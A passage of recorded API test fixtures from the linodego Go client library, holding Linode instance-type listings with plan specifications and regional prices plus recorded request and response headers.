"id-cgk", "hourly": 0.13, "monthly": 86.4}, {"id": "br-gru", "hourly": 0.151, "monthly": 100.8}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-8", "label": "Dedicated 16GB", "price": {"hourly": 0.216, "monthly": 144.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.259, "monthly": 172.8}, {"id": "br-gru", "hourly": 0.302, "monthly": 201.6}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-16", "label": "Dedicated 32GB", "price": {"hourly": 0.432, "monthly": 288.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.518, "monthly": 345.6}, {"id": "br-gru", "hourly": 0.605, "monthly": 403.2}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 32768, "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-32", "label": "Dedicated 64GB", "price": {"hourly": 0.864, "monthly": 576.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.037, "monthly": 691.2}, {"id": "br-gru", "hourly": 1.21, "monthly": 806.4}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-48", "label": "Dedicated 96GB", "price": {"hourly": 1.296, "monthly": 864.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.555, "monthly": 1036.8}, {"id": "br-gru", "hourly": 1.814, "monthly": 1209.6}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-50", "label": "Dedicated 128GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "region_prices": [{"id": "id-cgk", "hourly": 2.074, "monthly": 1382.4}, {"id": "br-gru", "hourly": 2.419, "monthly": 1612.8}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.288, "monthly": 192.0}, {"id": "br-gru", "hourly": 0.336, "monthly": 224.0}]}}, "memory": 131072, "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-56", "label": "Dedicated 256GB", "price": {"hourly": 3.456, "monthly": 2304.0}, "region_prices": [{"id": "id-cgk", "hourly": 4.147, "monthly": 2764.8}, {"id": "br-gru", "hourly": 4.838, "monthly": 3225.6}], "addons": {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.36, "monthly": 240.0}, {"id": "br-gru", "hourly": 0.42, "monthly": 280.0}]}}, "memory": 262144, "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-64", "label": "Dedicated 512GB", "price": {"hourly": 6.912, "monthly": 4608.0}, "region_prices": [{"id": "id-cgk", "hourly": 8.294, "monthly": 5529.6}, {"id": "br-gru", "hourly": 9.677, "monthly": 6451.2}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}]}}, "memory": 524288, "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "dedicated", "successor": null}, {"id": "g1-gpu-rtx6000-1", "label": "Dedicated 32GB + RTX6000 GPU x1", "price": {"hourly": 1.5, "monthly": 1000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": []}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 1, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-2", "label": "Dedicated 64GB + RTX6000 GPU x2", "price": {"hourly": 3.0, "monthly": 2000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": []}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 2, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-3", "label": "Dedicated 96GB + RTX6000 GPU x3", "price": {"hourly": 4.5, "monthly": 3000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": []}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 3, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-4", "label": "Dedicated 128GB + RTX6000 GPU x4", "price": {"hourly": 6.0, "monthly": 4000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": []}}, "memory": 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 4, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g7-premium-2", "label": "Premium 4GB", "price": {"hourly": 0.0645, "monthly": 43.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.078, "monthly": 51.84}, {"id": "br-gru", "hourly": 0.091, "monthly": 60.48}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.01, "monthly": 7.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "premium", "successor": null}, {"id": "g7-premium-4", "label": "Premium 8GB", "price": {"hourly": 0.129, "monthly": 86.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.156, "monthly": 103.68}, {"id": "br-gru", "hourly": 0.181, "monthly": 120.96}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "premium", "successor": null}, {"id": "g7-premium-8", "label": "Premium 16GB", "price": {"hourly": 0.2595, "monthly": 173.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.311, "monthly": 207.36}, {"id": "br-gru", "hourly": 0.363, "monthly": 241.92}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "premium", "successor": null}, {"id": "g7-premium-16", "label": "Premium 32GB", "price": {"hourly": 0.519, "monthly": 346.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.622, "monthly": 414.72}, {"id": "br-gru", "hourly": 0.726, "monthly": 483.84}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 32768, "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "premium", "successor": null}, {"id": "g7-premium-32", "label": "Premium 64GB", "price": {"hourly": 1.0365, "monthly": 691.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.244, "monthly": 829.44}, {"id": "br-gru", "hourly": 1.452, "monthly": 967.68}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "premium", "successor": null}, {"id": "g7-premium-48", "label": "Premium 96GB", "price": {"hourly": 1.5555, "monthly": 1037.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.866, "monthly": 1244.16}, {"id": "br-gru", "hourly": 2.177, "monthly": 1451.52}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "premium", "successor": null}, {"id": "g7-premium-50", "label": "Premium 128GB", "price": {"hourly": 2.073, "monthly": 1382.0}, "region_prices": [{"id": "id-cgk", "hourly": 2.488, "monthly": 1658.88}, {"id": "br-gru", "hourly": 2.903, "monthly": 1935.36}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.288, "monthly": 192.0}, {"id": "br-gru", "hourly": 0.336, "monthly": 224.0}]}}, "memory": 131072, "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "premium", "successor": null}, {"id": "g7-premium-56", "label": "Premium 256GB", "price": {"hourly": 4.1475, "monthly": 2765.0}, "region_prices": [{"id": "id-cgk", "hourly": 4.977, "monthly": 3317.76}, {"id": "br-gru", "hourly": 5.806, "monthly": 3870.72}], "addons": {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.36, "monthly": 240.0}, {"id": "br-gru", "hourly": 0.42, "monthly": 280.0}]}}, "memory": 262144, "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "premium", "successor": null}, {"id": "g7-premium-64", "label": "Premium 512GB", "price": {"hourly": 8.295, "monthly": 5530.0}, "region_prices": [{"id": "id-cgk", "hourly": 9.953, "monthly": 6635.52}, {"id": "br-gru", "hourly": 11.612, "monthly": 7741.44}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}]}}, "memory": 524288, "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "premium", "successor": null}], "page": 1, "pages": 1, "results": 37}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:32:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestTypes_RegionSpecific.yaml000066400000000000000000000542251474652371000323750ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/types?page=1 method: GET response: body: '{"data": [{"id": "g6-nanode-1", "label": "Nanode 1GB", "price": {"hourly": 0.0075, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.0105, "monthly": 7.0}], "addons": {"backups": {"price": {"hourly": 0.003, "monthly": 2.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.0036, "monthly": 2.4}, {"id": "br-gru", "hourly": 0.004, "monthly": 2.8}]}}, "memory": 1024, "disk": 25600, "transfer": 1000, "vcpus": 1, "gpus": 0, "network_out": 1000, "class": "nanode", "successor": null}, {"id": "g6-standard-1", "label": "Linode 2GB", "price": {"hourly": 0.018, "monthly": 12.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.022, "monthly": 14.4}, {"id": "br-gru", "hourly": 0.025, "monthly": 16.8}], "addons": {"backups": {"price": {"hourly": 0.004, "monthly": 2.5}, "region_prices": [{"id": "id-cgk", "hourly": 0.0045, "monthly": 3.0}, {"id": "br-gru", "hourly": 0.005, "monthly": 3.5}]}}, "memory": 2048, "disk": 51200, "transfer": 2000, "vcpus": 1, "gpus": 0, "network_out": 2000, "class": "standard", "successor": null}, {"id": "g6-standard-2", "label": "Linode 4GB", "price": {"hourly": 0.036, "monthly": 24.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.043, "monthly": 28.8}, {"id": "br-gru", "hourly": 0.05, "monthly": 33.6}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.01, "monthly": 7.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "standard", "successor": null}, {"id": "g6-standard-4", "label": "Linode 8GB", "price": {"hourly": 0.072, "monthly": 48.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.086, "monthly": 57.6}, {"id": "br-gru", "hourly": 0.101, "monthly": 67.2}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "standard", "successor": null}, {"id": "g6-standard-6", "label": "Linode 16GB", "price": {"hourly": 0.144, "monthly": 96.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.173, "monthly": 115.2}, {"id": "br-gru", "hourly": 0.202, "monthly": 134.4}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 16384, "disk": 327680, "transfer": 8000, "vcpus": 6, "gpus": 0, "network_out": 6000, "class": "standard", "successor": null}, {"id": "g6-standard-8", "label": "Linode 32GB", "price": {"hourly": 0.288, "monthly": 192.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.346, "monthly": 230.4}, {"id": "br-gru", "hourly": 0.403, "monthly": 268.8}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 0, "network_out": 7000, "class": "standard", "successor": null}, {"id": "g6-standard-16", "label": "Linode 64GB", "price": {"hourly": 0.576, "monthly": 384.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.691, "monthly": 460.8}, {"id": "br-gru", "hourly": 0.806, "monthly": 537.6}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "standard", "successor": null}, {"id": "g6-standard-20", "label": "Linode 96GB", "price": {"hourly": 0.864, "monthly": 576.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.037, "monthly": 691.2}, {"id": "br-gru", "hourly": 1.21, "monthly": 806.4}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 0, "network_out": 10000, "class": "standard", "successor": null}, {"id": "g6-standard-24", "label": "Linode 128GB", "price": {"hourly": 1.152, "monthly": 768.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.382, "monthly": 921.6}, {"id": "br-gru", "hourly": 1.613, "monthly": 1075.2}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.288, "monthly": 192.0}, {"id": "br-gru", "hourly": 0.336, "monthly": 224.0}]}}, "memory": 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 0, "network_out": 11000, "class": "standard", "successor": null}, {"id": "g6-standard-32", "label": "Linode 192GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "region_prices": [{"id": "id-cgk", "hourly": 2.074, "monthly": 1382.4}, {"id": "br-gru", "hourly": 2.419, "monthly": 1612.8}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}]}}, "memory": 196608, "disk": 3932160, "transfer": 20000, "vcpus": 32, "gpus": 0, "network_out": 12000, "class": "standard", "successor": null}, {"id": "g7-highmem-1", "label": "Linode 24GB", "price": {"hourly": 0.09, "monthly": 60.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.108, "monthly": 72.0}, {"id": "br-gru", "hourly": 0.126, "monthly": 84.0}], "addons": {"backups": {"price": {"hourly": 0.0075, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.0105, "monthly": 7.0}]}}, "memory": 24576, "disk": 20480, "transfer": 5000, "vcpus": 2, "gpus": 0, "network_out": 5000, "class": "highmem", "successor": null}, {"id": "g7-highmem-2", "label": "Linode 48GB", "price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 49152, "disk": 40960, "transfer": 6000, "vcpus": 2, "gpus": 0, "network_out": 6000, "class": "highmem", "successor": null}, {"id": "g7-highmem-4", "label": "Linode 90GB", "price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 92160, "disk": 92160, "transfer": 7000, "vcpus": 4, "gpus": 0, "network_out": 7000, "class": "highmem", "successor": null}, {"id": "g7-highmem-8", "label": "Linode 150GB", "price": {"hourly": 0.72, "monthly": 480.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.864, "monthly": 576.0}, {"id": "br-gru", "hourly": 1.008, "monthly": 672.0}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 153600, "disk": 204800, "transfer": 8000, "vcpus": 8, "gpus": 0, "network_out": 8000, "class": "highmem", "successor": null}, {"id": "g7-highmem-16", "label": "Linode 300GB", "price": {"hourly": 1.44, "monthly": 960.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.728, "monthly": 1152.0}, {"id": "br-gru", "hourly": 2.016, "monthly": 1344.0}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 307200, "disk": 348160, "transfer": 9000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "highmem", "successor": null}, {"id": "g6-dedicated-2", "label": "Dedicated 4GB", "price": {"hourly": 0.054, "monthly": 36.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.065, "monthly": 43.2}, {"id": "br-gru", "hourly": 0.076, "monthly": 50.4}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.01, "monthly": 7.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-4", "label": "Dedicated 8GB", "price": {"hourly": 0.108, "monthly": 72.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.13, "monthly": 86.4}, {"id": "br-gru", "hourly": 0.151, "monthly": 100.8}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-8", "label": "Dedicated 16GB", "price": {"hourly": 0.216, "monthly": 144.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.259, "monthly": 172.8}, {"id": "br-gru", "hourly": 0.302, "monthly": 201.6}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-16", "label": "Dedicated 32GB", "price": {"hourly": 0.432, "monthly": 288.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.518, "monthly": 345.6}, {"id": "br-gru", "hourly": 0.605, "monthly": 403.2}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 32768, "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-32", "label": "Dedicated 64GB", "price": {"hourly": 0.864, "monthly": 576.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.037, "monthly": 691.2}, {"id": "br-gru", "hourly": 1.21, "monthly": 806.4}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-48", "label": "Dedicated 96GB", "price": {"hourly": 1.296, "monthly": 864.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.555, "monthly": 1036.8}, {"id": "br-gru", "hourly": 1.814, "monthly": 1209.6}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-50", "label": "Dedicated 128GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "region_prices": [{"id": "id-cgk", "hourly": 2.074, "monthly": 1382.4}, {"id": "br-gru", "hourly": 2.419, "monthly": 1612.8}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.288, "monthly": 192.0}, {"id": "br-gru", "hourly": 0.336, "monthly": 224.0}]}}, "memory": 131072, "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-56", "label": "Dedicated 256GB", "price": {"hourly": 3.456, "monthly": 2304.0}, "region_prices": [{"id": "id-cgk", "hourly": 4.147, "monthly": 2764.8}, {"id": "br-gru", "hourly": 4.838, "monthly": 3225.6}], "addons": {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.36, "monthly": 240.0}, {"id": "br-gru", "hourly": 0.42, "monthly": 280.0}]}}, "memory": 262144, "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-64", "label": "Dedicated 512GB", "price": {"hourly": 6.912, "monthly": 4608.0}, "region_prices": [{"id": "id-cgk", "hourly": 8.294, "monthly": 5529.6}, {"id": "br-gru", "hourly": 9.677, "monthly": 6451.2}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}]}}, "memory": 524288, "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "dedicated", "successor": null}, {"id": "g1-gpu-rtx6000-1", "label": "Dedicated 32GB + RTX6000 GPU x1", "price": {"hourly": 1.5, "monthly": 1000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": []}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 1, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-2", "label": "Dedicated 64GB + RTX6000 GPU x2", "price": {"hourly": 3.0, "monthly": 2000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": []}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 2, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-3", "label": "Dedicated 96GB + RTX6000 GPU x3", "price": {"hourly": 4.5, "monthly": 3000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": []}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 3, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-4", "label": "Dedicated 128GB + RTX6000 GPU x4", "price": {"hourly": 6.0, "monthly": 4000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": []}}, "memory": 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 4, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g7-premium-2", "label": "Premium 4GB", "price": {"hourly": 0.0645, "monthly": 43.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.078, "monthly": 51.84}, {"id": "br-gru", "hourly": 0.091, "monthly": 60.48}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.01, "monthly": 7.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "premium", "successor": null}, {"id": "g7-premium-4", "label": "Premium 8GB", "price": {"hourly": 0.129, "monthly": 86.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.156, "monthly": 103.68}, {"id": "br-gru", "hourly": 0.181, "monthly": 120.96}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "premium", "successor": null}, {"id": "g7-premium-8", "label": "Premium 16GB", "price": {"hourly": 0.2595, "monthly": 173.0}, "region_prices": [{"id": "id-cgk", "hourly": 